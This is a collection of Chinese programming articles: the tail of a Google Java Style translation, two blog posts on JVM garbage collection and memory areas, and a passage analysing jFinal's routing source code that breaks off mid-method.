例外：在测试中，如果一个捕获的异常被命名为expected，则它可以被不加注释地忽略。下面是一种非常常见的情形，用以确保所测试的方法会抛出一个期望中的异常， 因此在这里就没有必要加注释。


javatry {
  emptyStack.pop();
  fail();
} catch (NoSuchElementException expected) {
}



6.3 静态成员：使用类进行调用


使用类名调用静态的类成员，而不是具体某个对象或表达式。


javaFoo aFoo = ...;
Foo.aStaticMethod(); // good
aFoo.aStaticMethod(); // bad
somethingThatYieldsAFoo().aStaticMethod(); // very bad



6.4 Finalizers: 禁用


极少会去重载Object.finalize。



  Tip：

  
  不要使用finalize。如果你非要使用它，请先仔细阅读和理解Effective Java 第7条款：“Avoid Finalizers”，然后不要使用它。




Javadoc


7.1 格式


7.1.1 一般形式


Javadoc块的基本格式如下所示：


java/**
 * Multiple lines of Javadoc text are written here,
 * wrapped normally...
 */
public int method(String p1) { ... }



或者是以下单行形式：


/** An especially short bit of Javadoc. */



基本格式总是OK的。当整个Javadoc块能容纳于一行时(且没有Javadoc标记@XXX)，可以使用单行形式。


7.1.2 段落


空行(即，只包含最左侧星号的行)会出现在段落之间和Javadoc标记(@XXX)之前(如果有的话)。 除了第一个段落，每个段落第一个单词前都有标签<p>，并且它和第一个单词间没有空格。


7.1.3 Javadoc标记

标准的Javadoc标记按以下顺序出现：@param, @return, @throws, @deprecated, 前面这4种标记如果出现，描述都不能为空。 当描述无法在一行中容纳，连续行需要至少再缩进4个空格。


7.2 摘要片段


每个类或成员的Javadoc以一个简短的摘要片段开始。这个片段是非常重要的，在某些情况下，它是唯一出现的文本，比如在类和方法索引中。


这只是一个小片段，可以是一个名词短语或动词短语，但不是一个完整的句子。它不会以A {@code Foo} is a...或This method returns...开头, 它也不会是一个完整的祈使句，如Save the record...。然而，由于开头大写及被加了标点，它看起来就像是个完整的句子。



  Tip：

  
  一个常见的错误是把简单的Javadoc写成 /** @return the customer ID */，这是不正确的。它应该写成/** Returns the customer ID. */。




7.3 哪里需要使用Javadoc


至少在每个public类及它的每个public和protected成员处使用Javadoc，以下是一些例外：


7.3.1 例外：不言自明的方法


对于简单明显的方法如getFoo，Javadoc是可选的(即，是可以不写的)。这种情况下除了写“Returns the foo”，确实也没有什么值得写了。


单元测试类中的测试方法可能是不言自明的最常见例子了，我们通常可以从这些方法的描述性命名中知道它是干什么的，因此不需要额外的文档说明。



  Tip：

  
  如果有一些相关信息是需要读者了解的，那么以上的例外不应作为忽视这些信息的理由。例如，对于方法名getCanonicalName， 就不应该忽视文档说明，因为读者很可能不知道词语canonical name指的是什么。




7.3.2 例外：重载


如果一个方法重载了超类中的方法，那么Javadoc并非必需的。


7.3.3 可选的Javadoc


对于包外不可见的类和方法，如有需要，也是要使用Javadoc的。如果一个注释是用来定义一个类，方法，字段的整体目的或行为， 那么这个注释应该写成Javadoc，这样更统一更友好。


-EOF-





  原文 Google Java Style




 JAVA 垃圾收集器与内存分配策略

作者：Gavin要加油

来源： JAVA 垃圾收集器与内存分配策略



                    
引言

垃圾收集技术并不是Java语言首创的，1960年诞生于MIT的Lisp是第一门真正使用内存动态分配和垃圾收集技术的语言。垃圾收集技术需要考虑的三个问题是：

哪些内存需要回收?
什么时候回收?
如何回收?



http://segmentfault.com/a/1190000002931555 中讲到java内存运行时区域的分布，其中程序计数器，虚拟机栈，本地方法区都是随着线程而生，随线程而灭，所以这几个区域就不需要过多考虑回收问题。但是堆和方法区就不一样了，只有在程序运行期间我们才知道会创建哪些对象，这部分内存的分配和回收都是动态的。垃圾收集器所关注的就是这部分内存。

一 对象死亡判据

垃圾收集器在对一个对象回收之前，首先要判断对象在程序中是否还有使用的可能性，充要条件就是没有被程序可访问的引用再指向这个对象实例。最简单的办法就是给对象实例添加中添加一个引用计数器，每当有一个引用指向它时，计数器就加一，当引用失效时，计数器就减一，如果计数器值为0则说明没有引用指向它，可以进行回收。但是这个方法中计数器为0并不是一个必要条件，例如，生成两个对象实例，每个对象实例的属性都指向对方，那么这个两个对象实例分别最少有一个引用。

java采用的是可达性分析算法，即找一部分对象作为"GC Roots"节点，从这些节点开始向下搜索，当某个对象到"GC Roots"节点没有可达路径时，说明此对象是不可用的。在java中作为"GC Roots"的节点包括：

	虚拟机栈中引用的对象，







	方法区静态属性引用的对象，


	方法区常量引用的对象，


	本地方法区中本地调用所引用的对象。






引用扩充

如果reference类型的数据中存储的数值是另一块内存的起始地址，那么这块内存就代表着一个引用。一个对象在这种状态下，只能有被引用和没有被引用两种状态。java对引用概念进行了扩充，将引用分为强引用（new），软引用（softReference），弱引用（WeakReference），虚引用（PhantomReference）。如果强引用存在，则垃圾收集器不会回收该对象。如果系统即将发生内存溢出异常，那么垃圾回收集器则会回收软引用对象。弱引用对象只能存活到下一次垃圾收集之前。虚引用对象不会对其生存时间构成任何影响。

对象的自我救赎

在垃圾收集器发现某一个对象到"GC Roots"路径不可达时，先会判断该对象是否覆盖finalize()方法，或是否执行过finalize()方法。如果覆盖了且没有执行过该方法，则会将该对象放到低优先级的Finalizer线程队列中去执行finalize()方法，如果在finalize()方法中该对象又被引用，则会有一次逃脱被回收的命运。

方法区的回收

方法区中主要回收废弃的常量和无用的类。对于常量，如果没有引用指向常量，则该常量会被回收。对于类的回收则麻烦许多，首先要判断该类是无用的类，无用的类要满足三个条件：


	所有类的实例被回收。


	加载该类的ClassLoader已经被回收。


	Class没有被引用，不会通过反射访问该类的方法。




二 垃圾回收算法

标记-清除算法（Mark-Sweep）

该算法分为两个阶段：首先标记处要回收的对象，标记完成后统一回收所有被标记的对象。
存在的问题：


	标记和清除效率都不高


	标记清除后会产生大量内存碎片，分配大对象时可能触发另一次垃圾收集。






复制算法（Copying）

该算法将内存分为两个等大小的区域，每次只使用一个区域。当一个区域快用完了，就将这个区域中存活的对象复制到另一个区域。

优点是避免了内存碎片的产生，缺点是浪费内存空间。



有公司研究表明，新生代的对象98%都是朝生暮死，所以虚拟机把新生代内存划分为一个较大的Eden空间和两个较小的Survivor空间。每次只是用Eden空间和一个Survior空间，当进行复制清理时，将Survivor空间和Eden空间中存活的对象复制到另一块Survivor空间。当Survivor空间不够用时，就会依赖老年代进行分配担保。

标记-整理算法（Mark-Compact）

针对老年代对象存活率高的情况，复制算法明显不合适，于是采用标记整理算法，标记和标记清除算法相同，二后边的整理则是让所有存活的对象都向一端移动，然后清理掉边界外的内存。



分代收集

当前虚拟机都采用分代收集，分代的依据是对象的存活周期。一般新生代存活率低，采用复制算法。老年代存活率高采用标记整理或标记清除。

一般来讲，新生代空间会小很多，具体比例一般要看应用场景。而默认的大小一般是老年代的1/4到1/3。

三 垃圾收集器


由于虚拟机采用了分代收集，所以针对不同代收集器也不同。上图是HotSpot虚拟机的垃圾收集器，连线表示可以协同工作。

Serial收集器，复制算法，它是一个单线程的收集器，并且在进行收集时会暂停其他线程，它默认是client模式下的新生代收集器。

ParNew收集器是Serial收集器的多线程版，它是第一款并发收集器。

Parallel Scavenge收集器可以精确控制吞吐量（用户代码运行时间/（用户代码时间+垃圾收集时间））

SerialOld收集器是serial收集器的老年版，采用标记整理算法，同样是单线程收集器。

ParallelOld是ParallelScavenge收集器的老年版，使用多线程和标记整理算法。

CMS收集器是以最短回收停顿时间为目标的收集器，采用标记清除算法，在重视响应速度的系统中得以应用。但是缺点是对CPU资源敏感，无法处理浮动垃圾，易产生内存碎片。

G1收集器是最新推出的收集器，可应用在JDK1.7u4及以上版本。它将内存分为多个Region，新生代和老年代分别包含多个Region。G1跟踪各个Region，判断垃圾价值大小，优先回收价值最大的Region。

安全点

安全点的概念是指当进行GC时，应当让工作线程停止，这时会更容易对对象是否存活进行判断。而停止线程应当在安全的时刻，所以会有安全点的概念。

暂停线程有两种方式，第一种是强制暂停，如果某些线程没有到达安全点则再让他运行到安全点，这叫做抢先式中断。第二种是在编译过程中在安全点加入一个条件判断判断0x160100内存页是否可读，如果不可读则会暂停，这叫做主动式中断。

四 内存分配与回收策略


对象的分配，就是在堆上分配，对象主要分配在新生代的Eden区域中，如果启动了本地线程分配缓冲，则按线程优先在TLAB中分配。少数情况也有可能直接分配到老年代。

对象在Eden区域分配时，当Eden区域没有足够空间，虚拟机会发起一次新生代垃圾收集。

如果对象需要大量连续内存空间，例如String类型和数组。大对象对于虚拟机内存分配来说是一个坏消息，朝生暮死的大对象是要命的坏消息。经常出现大对象会导致多次出发垃圾收集。对于这类对象，可以设置参数将大对象直接存入老年代。

每一个对象都有一个年龄计数器，当对象在Eden区域出生，每经过一次GC，并且存入Survivor，计数器加一。当年龄增加到一定程度（默认15），则会被存入老年代。同时，如果Survivor空间中相同年龄对象占空间超过50%，则也会直接进入老年代。

总结

垃圾收集算法：复制算法，标记-清除算法，标记-清理算法。

垃圾收集器特点：新生代用复制，老年代用标记清理，CMS用标记清除。

Eden空间大小和Survivor空间大小默认比率为8：1，即新生代10%的空间用来存放复制后的对象。


 Java 内存区域详解

作者：Gavin要加油

来源： Java 内存区域详解



                    
引言

学习Java也有一段时间了，总感觉有些东西学的不是很精通。例如Java内存区域到底是怎么样的？程序是怎么跑的？对象是怎么存放的？这些都影响了我对自己的程序运行的熟悉程度。

一. 运行时数据区域



Java虚拟机在执行java程序的过程中，会把它所管理的内存划分成若干个不同的数据区域（每当运行一个java程序都会启动一个虚拟机）。有一本书叫做《Java虚拟机规范》，讲述了Sun公司对Java虚拟机实现的相关规范，其中讲了虚拟机将所管理的内存分为以下几个部分：

程序计数器



虚拟机栈
本地方法区
堆
方法区

其中方法区和堆是由所有线程共享的，例如使用ThreadPoolExecutor创建多个线程时，堆与方法区都可以被多个线程读取。

程序计数器 学过计算机组成原理的人都会知道在CPU的寄存器中有一个PC寄存器，存放下一条指令地址，这里，虚拟机不使用CPU的程序计数器，自己在内存中设立一片区域来模拟CPU的程序计数器。只有一个程序计数器是不够的，当多个线程切换执行时，那就单个程序计数器就没办法了，虚拟机规范中指出，每一条线程都有一个独立的程序计数器。注意，Java虚拟机中的程序计数器指向正在执行的字节码地址，而不是下一条。

虚拟机栈 是线程私有的，它的生命周期与线程相同。虚拟机栈描述的是Java方法执行的内存模型：每个方法执行的时候都会创建一个栈帧（我觉得可以把它看作是一个快照，记录下进入方法前的一些参数，实际上是方法运行时的基础数据结构），用于存放局部变量表，操作数栈，动态链接，方法出口等信息。每一个方法从调用直到执行完成的过程都对应着一个栈帧在虚拟机中的入栈到出栈的过程。我们平时把内存分为堆内存和栈内存，其中的栈内存就指的是虚拟机栈的局部变量表部分。局部变量表存放了编译期可以知道的基本数据类型，对象引用，和返回后所指向的字节码的地址。

本地方法区 与 虚拟机栈 所发挥的作用很类似，但是要注意一下，虚拟机规范中没有对本地方法区中的方法作强制规定，虚拟机可以自由实现，即可以不是字节码。但是也可以是字节码，这样虚拟机栈和本地方法区就可以合二为一，事实上，OpenJDK和SunJDK所自带的HotSpot虚拟机就直接将虚拟机栈和本地方法区合二为一。

堆 这个概念应该很多人都很熟悉，例如初学C语言的时候，老师就会讲malloc方法会在堆中分配空间，这里也一样。这个区域是用来存放对象实例的，几乎所有对象实例都会在这里分配内存，虚拟机规范中讲：所有对象的实例以及数组都要在堆上分配。但是随着JIT（Just-in-time）   编译期的发展，有些时候也有可能在栈上分配（这里我也不是很明白其中的道理）。堆是java垃圾收集器管理的主要区域（很多时候会称为GC堆，不叫垃圾堆），垃圾收集器实现了对象的自动销毁。

方法区 也是各个线程共享的区域，它用于存储已经被虚拟机加载过的类信息，常量，静态变量，及时编译期编译后的代码（类方法）等数据。这里要讲一下运行时常量池，它是方法区的一部分，用于存放编译期生成的各种字面量和符号引用（其实就是八大基本类型的包装类型和String类型数据）。

最后还有一个直接内存，在JDK1.4版本中加入了NIO类，引入了基于通道（Channel）与缓冲区（Buffer）的I/O方式，也就是说通过这种方式，不会在运行时数据区域分配内存，这样就避免了在运行时数据区域来回复制数据，直接调用外部内存。



二. 对象的创建

对于面向对象的一门语言，我们无时不在通过new关键字创建对象，那么这个过程又是怎样的呢？

当虚拟机遇到一条new指令的时候，首先会去检查所new的类是否已经被加载，在哪里检查？当然在方法区，方法区存放了加载过的类信息。如果没有加载，那么先执行类的加载。

通过类加载检查后，虚拟机开始为新生对象分配内存，对象所需要的内存大小在类加载完成后已经可以确定，这时候只要在堆中分配空间即可。分配内存有两种方式，第一种，我们假设内存绝对规整，那么只要在用过的内存和没用过的内存间放置一个指针即可，每次分配空间的时候只要把指针向空闲空间移动相应距离即可。第二种，我们假设空闲内存和非空闲内存夹杂在一起，实际上就是这种情况，那么就需要一个列表，去记录堆内存的使用情况，操作系统对内存的管理就是这样的。

那么，我们还要考虑一个问题，即在多线程的情况下，只有一个指针怎么能确保一个线程分配了内存指针没修改的时候另一个线程又分配内存不会覆盖之前的内存呢？这里有一种方法，让每一个线程在堆中先预分配一小块内存（TLAB本地线程分配缓冲），每个线程只在自己的内存中分配内存。

最后，对象被成功分配内存。我们知道通过一个对象，我们可以通过getClass()方法获取类，默认比较两个对象实际比较的是对象内存的哈希值，这又是怎么实现的呢？其实在分配完内存后，虚拟机会对对象进行必要的设置，对象的类，对象的哈希码等信息都存放在对象的对象头中，所以分配的内存大小绝不止属性的总和。

三. 对象的内存布局

对象在堆中的布局分为三个区域：对象头，实例数据，对齐填充。


	对象头 包括两个部分，第一部分用于存储自身运行时的数据例如GC标志位，MonirGC次数，哈希码，锁状态，哪个线程可以拥有等被称为MarkWord（标记字）。第二部分存放指向方法区类数据的指针。在32位系统中，class指针大小为4字节，标记字大小为4字节。在64位系统中标记字大小为8字节。


	实例数据 存放类的属性信息，包括父类的属性信息。数组的实例部分还包括数组的长度。实例信息按类分别4字节对齐。


	对齐填充 这是虚拟机要求对象起始地址必须是8字节的整数倍，可以说对齐填充没有什么特别的含义。




四. 对象的访问定位

我们知道，引用是引用，对象实例是对象实例。引用存放在虚拟机栈中，数据类型为reference，对象实例存放在堆中。那么引用是如何指向对象实例的呢？

主流的访问方式有两种，第一种是通过句柄池，如果使用句柄池，那么java堆中将会划分出一部分内存作为句柄池，句柄包含对象类型指针指向方法区的类型信息，还有对象实例指针，指向堆中的实例地址。

第二种是reference引用直接指向堆中的对象实例，对象实例的对象头存放对象类型指针。

两种方法各有优势，第一种可以在对象实例在GC时移动的时候只改变句柄池中的对象实例指针，而不用改变reference引用本身。第二种方法就是访问速度快，减少了一次指针定位的时间开销。目前HotSpot虚拟机就采用的第二种方式。

总结

了解java内存区域是对java的深入学习，以前只知道有堆和栈的区分，现在我们了解到了具体的堆栈的作用。内存是怎么划分的，对象是怎么存储的，方法和属性的存放区别。通过对这些内容的了解，会让我们写java程序更加游刃有余，有的放矢。


 jFinal路由解析源码分析

作者：Honwhy

来源： jFinal路由解析源码分析



                    
jFinal的路由解析是在JFinalFilter中做的，这个Filter也需要在web.xml中配置。JFinalFilter实现了javax.servlet.Filter接口，从这里也可以看出jFinal是基于Servlet的。JFinalFilter在初始化时负责初始化jFinal项目的配置(com.jfinal.core.Config)、路由表(Route)、映射表(ActionMapping)等；路由解析是在JFinalFilter的dofilter方法完成的。

关键词： Route Handler Action ActionMapping



1. 项目配置

分析jFinal的路由解析逻辑必须从jFinal的一般项目配置入手，配置的作用是为路由解析提供支持的。和一般Java Web MVC框架不同的是jFinal没有采用xml配置的形式，但不是不需要配置，还是需要提供一个JFinalConfig的继承实现类，实现configXXX方法来支持配置初始化，初始化的入口是JFinalFilter的init方法。

1.1 web.xml

jFinal工程同样需要web.xml配置文件，但是较其他MVC框架的web.xml文件内容或许要简单许多，除了配置welcome-file-list，只需要配置一个filter。

  <filter>
      <filter-name>jfinal</filter-name>
      <filter-class>com.jfinal.core.JFinalFilter</filter-class>
      <init-param>
          <param-name>configClass</param-name>
          <param-value>com.app.common.Config</param-value>
      </init-param>
  </filter>
  
  <filter-mapping>
      <filter-name>jfinal</filter-name>
      <url-pattern>/*</url-pattern>
  </filter-mapping>

JFinalFilter是唯一需要配置的filter，只需要提供一个configClass参数，它会在JFinalFilter的init方法中利用Class.forName(configClass).newInstance();被实例化。

1.2 JFinalConfig

上面的configClass参数的值com.app.common.Config是项目定义的JFinalConfig的实现类，虽然整个项目没有xml配置，但是这里就是，只不过是Java代码的形式。
JFinalConfig只是暴露接口，配置信息最终保存在jFinal的静态类com.jfinal.core.Config中。com.jfinal.core.Config类设计成不可以实例化，它定义的私有静态成员变量可以保证唯一。JFinalConfig实现的接口就负责填充com.jfinal.core.Config成员变量。
在本文中会关注JFinalConfig的以下接口方法：

/**
 * Config route
 */
public abstract void configRoute(Routes me);

/**
 * Config interceptor applied to all actions.
 */
public abstract void configInterceptor(Interceptors me);

/**
 * Config handler
 */
public abstract void configHandler(Handlers me);

1.3 com.jfinal.core.Config

在Config的成员变量中我们关注这几个变量：

private static final Routes routes = new Routes(){public void config() {}};
private static final Interceptors interceptors = new Interceptors();
private static final Handlers handlers = new Handlers();

interceptors拥有所有的Interceptor，内部结构是List<Interceptor>;
handlers拥有所有的handler，内部结构是List<Handler>。
Routes定义了两个容器，

private final Map<String, Class<? extends Controller>> map = new HashMap<String, Class<? extends Controller>>();
private final Map<String, String> viewPathMap = new HashMap<String, String>();

对外提供了多个重载的add方法，用于增加路由，map和viewMap的键都是controllerKey。
关于Interceptor、Handler和Routes下文会继续说明，我们先来看看自定义的JFinalConfig实现类com.app.common.Config做了什么事情。即是我们关注的JFinalConfig的抽象方法实现。

1.4 JFinalConfig抽象方法实现

package com.app.common;

public class Config extends JFinalConfig {

    @Override
    public void configConstant(Constants me) {
        //配置默认View类型
    }

    @Override
    public void configRoute(Routes me) {
        me.add("/api/user", UserController.class);
        me.add("/admin/user", ManagerController.class, "/admin");
        me.add("/admin/index", IndexController.class, "/admin");
        //...
    }

    @Override
    public void configPlugin(Plugins me) {
        //配置数据库连接
        //配置数据表和pojo映射
    }

    @Override
    public void configInterceptor(Interceptors me) {
        //配置拦截器
    }

    @Override
    public void configHandler(Handlers me) {
        //配置Handler
        //这里没有配置，JFinal.init()方法也会添加一个ActionHandler
    }

}

在configRoute实现中我们使用了两种Routes.add()方法，向Routes添加了三个Controller。jFinal的路由是REST风格的，这里
me.add("/api/user", UserController.class);的意思大概是请求/api/user时会交给UserController来处理。具体地看下文JFinalFilter的doFilter方法小节。
这里抽象实现方法什么时候被调用具体看JFinalFilter的init方法小节。

2 路由和拦截器及Handler链

在进入JFinalFilter的init和doFilter方法之前，我们将上面的提到的几个概念梳理一下。

2.1 Routes

Routes是jFinal的路由，有两个路由映射的容器，请求路径到Controller的映射和请求路径到渲染页面的映射。
Routes在项目中是作为com.jfinal.core.Config的成员变量出现的，负责维护jFinal项目的路由映射。整个jFinal项目只有一个com.jfinal.core.Config，作为静态类可以保证它是唯一的，而它的静态成员也是整个项目中唯一的。routes就是其中之一。
Routes提供了多个重载的add方法，我们来看看我使用到的其中两个。

/**
 * Add route
 * @param controllerKey A key can find controller
 * @param controllerClass Controller Class
 * @param viewPath View path for this Controller
 */
public Routes add(String controllerKey, Class<? extends Controller> controllerClass, String viewPath) {
    //很多很多的corner check
    //处理controllerKey的前缀，前缀加SLASH /
    //处理viewPath的前缀和后缀，都加上SLASH
    //如果viewPath的根路径baseViewPath不为空则在viewPath前拼接
    map.put(controllerKey, controllerClass);
    viewPathMap.put(controllerKey, viewPath);
    return this;//为了链式写法
}

另外一个

public Routes add(String controllerkey, Class<? extends Controller> controllerClass) {
    return add(controllerkey, controllerClass, controllerkey);
}

其实调用了上面的方法的。

public Routes add(String controllerKey, Class<? extends Controller> controllerClass, String viewPath) {
｝

一般使用过程中通过controllerKey找到Controller，这非常容易理解。而通过controllerKey在viewPathMap中找到viewPath，这个是用渲染页面是使用的路径，例如：
请求/api/user/edit执行成功后渲染到/api/user/edit.jsp页面。
一般我们定义controllery为/api/user，viewPath为/api/user/或者其他，而/edit和edit.jsp映射是约定好的。（但并不是直接映射的。）
最终的结果我们可以得到两个配置好的map和viewPathMap。

2.2 Interceptors

与Routes同理，Interceptors也作为com.jfinal.core.Config的成员变量出现的，它本身是一个List容器，记录的是项目的所有拦截器。在示例中com.app.common.Config并没有设置拦截器，在实现的configInterceptor方法中并没有做什么事情，如有需要我们可以调用Interceptors的add方法添加全局的拦截器。

final public class Interceptors {
    
    private final List<Interceptor> interceptorList = new ArrayList<Interceptor>();
    
    public Interceptors add(Interceptor globalInterceptor) {
        if (globalInterceptor != null)
            this.interceptorList.add(globalInterceptor);
        return this;
    }
    //...
}    

2.3 Handler

在com.jfinal.core.Config有一个成员变量handlers，记录的是项目所有的Handler，可以向它添加Handler。在示例中com.app.common.Config实现的configHandler方法中也没有做具体的配置。
Handler有一个成员变量nextHandler指向下一个Handler，这样可以用链表形式将所有的Handler连接起来。Handler链表的头节点最后保存在JFinal的handler变量，见JFinalFilter的init方法小节。这里先提一下如何获得链表的头节点：在HandlerFacotry中提供的getHandler方法传入原有的所有Handler和一个新的Handler,最终构造一条Handler链，新的Handler被添加到链表的尾部，最终返回头节点。

/**
 * Build handler chain
 */
public static Handler getHandler(List<Handler> handlerList, Handler actionHandler) {
    Handler result = actionHandler;
    
    for (int i=handlerList.size()-1; i>=0; i--) {
        Handler temp = handlerList.get(i);
        temp.nextHandler = result;
        result = temp;
    }
    
    return result;
}

Handler链的使用是在JFinalFilter的doFilter方法中，下文会提及。

2.4 ActionMapping

ActionMapping负责将Routes和Interceptors组织起来，整合后的结果存到在ActionMapping的mapping成员变量（Map<String, Action> mapping），Action是最终用于处理HTTP请求的Action(不知道怎么翻译才恰当)。
具体过程则是，遍历Routes所有Controller、遍历Controller所有method，将类级别(Controller）和方法(method)级别对应的key或者名字连接起来作为键actionKey，将类级别(Controller）和方法(method)级别对应的Interceptor整合计算后得到Action的拦截器数组actionInters。
最后用于实例化Action需要的变量如下所示：

new Action(controllerKey, actionKey, controllerClass, method, methodName, actionInters, routes.getViewPath(controllerKey));

具体的可以参照ActionMapping的buildActionMapping方法。

void buildActionMapping() {
    mapping.clear();
    Set<String> excludedMethodName = buildExcludedMethodName();
    InterceptorBuilder interceptorBuilder = new InterceptorBuilder();
    Interceptor[] defaultInters = interceptors.getInterceptorArray();
    interceptorBuilder.addToInterceptorsMap(defaultInters);
    for (Entry<String, Class<? extends Controller>> entry : routes.getEntrySet()) {
        Class<? extends Controller> controllerClass = entry.getValue();
        Interceptor[] controllerInters = interceptorBuilder.buildControllerInterceptors(controllerClass);
        Method[] methods = controllerClass.getMethods();
        for (Method method : methods) {
            String methodName = method.getName();
            if (!excludedMethodName.contains(methodName) && method.getParameterTypes().length == 0) {
                Interceptor[] methodInters = interceptorBuilder.buildMethodInterceptors(method);
                Interceptor[] actionInters = interceptorBuilder.buildActionInterceptors(defaultInters, controllerInters, controllerClass, methodInters, method);
                String controllerKey = entry.getKey();
                
                ActionKey ak = method.getAnnotation(ActionKey.class);
                if (ak != null) {
                    String actionKey = ak.value().trim();
                    if ("".equals(actionKey))
                        throw new IllegalArgumentException(controllerClass.getName() + "." + methodName + "(): The argument of ActionKey can not be blank.");
                    
                    if (!actionKey.startsWith(SLASH))
                        actionKey = SLASH + actionKey;
                    
                    if (mapping.containsKey(actionKey)) {
                        warnning(actionKey, controllerClass, method);
                        continue;
                    }
                    
                    Action action = new Action(controllerKey, actionKey, controllerClass, method, methodName, actionInters, routes.getViewPath(controllerKey));
                    mapping.put(actionKey, action);
                }
                else if (methodName.equals("index")) {
                    String actionKey = controllerKey;
                    
                    Action action = new Action(controllerKey, actionKey, controllerClass, method, methodName, actionInters, routes.getViewPath(controllerKey));
                    action = mapping.put(actionKey, action);
                    
                    if (action != null) {
                        warnning(action.getActionKey(), action.getControllerClass(), action.getMethod());
                    }
                }
                else {
                    String actionKey = controllerKey.equals(SLASH) ? SLASH + methodName : controllerKey + SLASH + methodName;
                    
                    if (mapping.containsKey(actionKey)) {
                        warnning(actionKey, controllerClass, method);
                        continue;
                    }
                    
                    Action action = new Action(controllerKey, actionKey, controllerClass, method, methodName, actionInters, routes.getViewPath(controllerKey));
                    mapping.put(actionKey, action);
                }
            }
        }
    }
    
    // support url = controllerKey + urlParas with "/" of controllerKey
    Action actoin = mapping.get("/");
    if (actoin != null)
        mapping.put("", actoin);
}

这个方法会是整篇文章提到的最复杂的方法，所以这里全部列出。
主要的逻辑是拼接${controlerKey}/methodName作为actionKey，${controllerKey}类似/api/user是我们在JFinalConfig实现类中添加的。actionKey最后会和请求的URL比较，匹配时就返回其对应的Action。拼接actionKey的过程中有两个需要注意的地方，一个是Controller的方法不能有参数，一个是如果方法名是index就将controllerKey作为actionKey，即是如果请求是/api/user最终调用的是UserController.index()。最后也做了请求是/的支持。
另外一个重要的是逻辑是整合计算Action的最终的拦截器数组actionInters。jFinal提供了Before注解的形式来在Controller类级别和method方法级别引入Interceptor，还有ClearInterceptor作为规则用于排除上层层次的Interceptor。这些细节就不展开了。

2.5 Action

2.4 ActionMapping已经提到了Action，这里提一下Action是怎么调用的。我们注意到实例化Action时传入了很多参数。

new Action(controllerKey, actionKey, controllerClass, method, methodName, actionInters, routes.getViewPath(controllerKey));

其中controllerClass可以提供实例化一个Controller，methodName可以确定调用Controller的哪个方法，actionInters可以在调用Controller方法前执行拦截过滤等，拦截过滤后再回到Action去调用真正的methodName方法。整个调用过程是ActionInvocation封装完成的，具体细节就不展开了。

3 JFinalFilter init

最后来看看两个重要的流程。直接上代码

public void init(FilterConfig filterConfig) throws ServletException {
    //实例化JFinalConfig实现类
    createJFinalConfig(filterConfig.getInitParameter("configClass"));
    //配置初始化
    //初始化Handler ActionMapping
    if (jfinal.init(jfinalConfig, filterConfig.getServletContext()) == false)
        throw new RuntimeException("JFinal init error!");
    //Handler链头节点
    handler = jfinal.getHandler();
    constants = Config.getConstants();
    encoding = constants.getEncoding();
    jfinalConfig.afterJFinalStart();
    
    String contextPath = filterConfig.getServletContext().getContextPath();
    contextPathLength = (contextPath == null || "/".equals(contextPath) ? 0 : contextPath.length());
}

createJFinalConfig是JFinalFilter内部方法，filterConfig.getInitParameter("configClass")是从web.xml获得配置的JFinalConfig实现类，目的是实例化JFinalConfig。

private void createJFinalConfig(String configClass) {
    if (configClass == null)
        throw new RuntimeException("Please set configClass parameter of JFinalFilter in web.xml");
    
    try {
        Object temp = Class.forName(configClass).newInstance();
        if (temp instanceof JFinalConfig)
            jfinalConfig = (JFinalConfig)temp;
        else
            throw new RuntimeException("Can not create instance of class: " + configClass + ". Please check the config in web.xml");
    } catch (InstantiationException e) {
        throw new RuntimeException("Can not create instance of class: " + configClass, e);
    } catch (IllegalAccessException e) {
        throw new RuntimeException("Can not create instance of class: " + configClass, e);
    } catch (ClassNotFoundException e) {
        throw new RuntimeException("Class not found: " + configClass + ". Please config it in web.xml", e);
    }
}

接下来是调用

jfinal.init(jfinalConfig, filterConfig.getServletContext())

这部分是在JFinal类中完成的。

boolean init(JFinalConfig jfinalConfig, ServletContext servletContext) {
    this.servletContext = servletContext;
    this.contextPath = servletContext.getContextPath();
    
    initPathUtil();
    //调用JFinalConfig实现类的configXXX方法
    Config.configJFinal(jfinalConfig);    // start plugin and init logger factory in this method
    constants = Config.getConstants();
    
    //初始化actionMapping
    initActionMapping();
    //新建一个ActionHandler并且构造一条Handler链并保存头节点
    initHandler();
    initRender();
    initOreillyCos();
    initI18n();
    initTokenManager();
    
    return true;
}

这个方法中开始做整个项目的配置初始化，具体可以看Config.configJFinal(jfinalConfig)的实现。

/*
 * Config order: constant, route, plugin, interceptor, handler
 */
static void configJFinal(JFinalConfig jfinalConfig) {
    jfinalConfig.configConstant(constants);                initLoggerFactory();
    jfinalConfig.configRoute(routes);
    jfinalConfig.configPlugin(plugins);                    startPlugins();    // very important!!!
    jfinalConfig.configInterceptor(interceptors);
    jfinalConfig.configHandler(handlers);
}

基本就是调用JFinalConfig的configXXX，具体如何做可以参考前面Routes、Interceptors和Handler小节。
接着来关注initActionMapping部分逻辑。

private void initActionMapping() {
    actionMapping = new ActionMapping(Config.getRoutes(), Config.getInterceptors());
    actionMapping.buildActionMapping();
}

基本就是调用ActionMapping的buildActionMapping方法了，buildActionMapping可以参考前面ActionMapping小节。
最后关注initHandler部分逻辑。

private void initHandler() {
    Handler actionHandler = new ActionHandler(actionMapping, constants);
    handler = HandlerFactory.getHandler(Config.getHandlers().getHandlerList(), actionHandler);
}

关于HandlerFactory的使用可以参考Handler小节。
执行完JFinalFilter的init就为整个项目的路由解析做好了准备了。

4 JFinalFilter doFilter

还是直接上代码

public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
    HttpServletRequest request = (HttpServletRequest)req;
    HttpServletResponse response = (HttpServletResponse)res;
    request.setCharacterEncoding(encoding);
    //获得请求URL
    String target = request.getRequestURI();
    if (contextPathLength != 0)
        //切掉上下文路径，contextPathLength是上下文路径的长度
        target = target.substring(contextPathLength);
    
    boolean[] isHandled = {false};
    try {
        //Handler链调用
        handler.handle(target, request, response, isHandled);
    }
    catch (Exception e) {
        if (log.isErrorEnabled()) {
            String qs = request.getQueryString();
            log.error(qs == null ? target : target + "?" + qs, e);
        }
    }
    
    if (isHandled[0] == false)
        chain.doFilter(request, response);
}

这里的handler是JFinal.initHanlder()方法获得Handler链的头节点，如果整个项目没有其他Handler，头节点应该是一个ActionHandler类型实例。
接下来看ActionHandler.handle方法

/**
 * handle
 * 1: Action action = actionMapping.getAction(target)
 * 2: new ActionInvocation(...).invoke()
 * 3: render(...)
 */
public final void handle(String target, HttpServletRequest request, HttpServletResponse response, boolean[] isHandled) {
    if (target.indexOf(".") != -1) {
        return ;
    }
    
    isHandled[0] = true;
    String[] urlPara = {null};
    Action action = actionMapping.getAction(target, urlPara);
    
    if (action == null) {
        if (log.isWarnEnabled()) {
            String qs = request.getQueryString();
            log.warn("404 Action Not Found: " + (qs == null ? target : target + "?" + qs));
        }
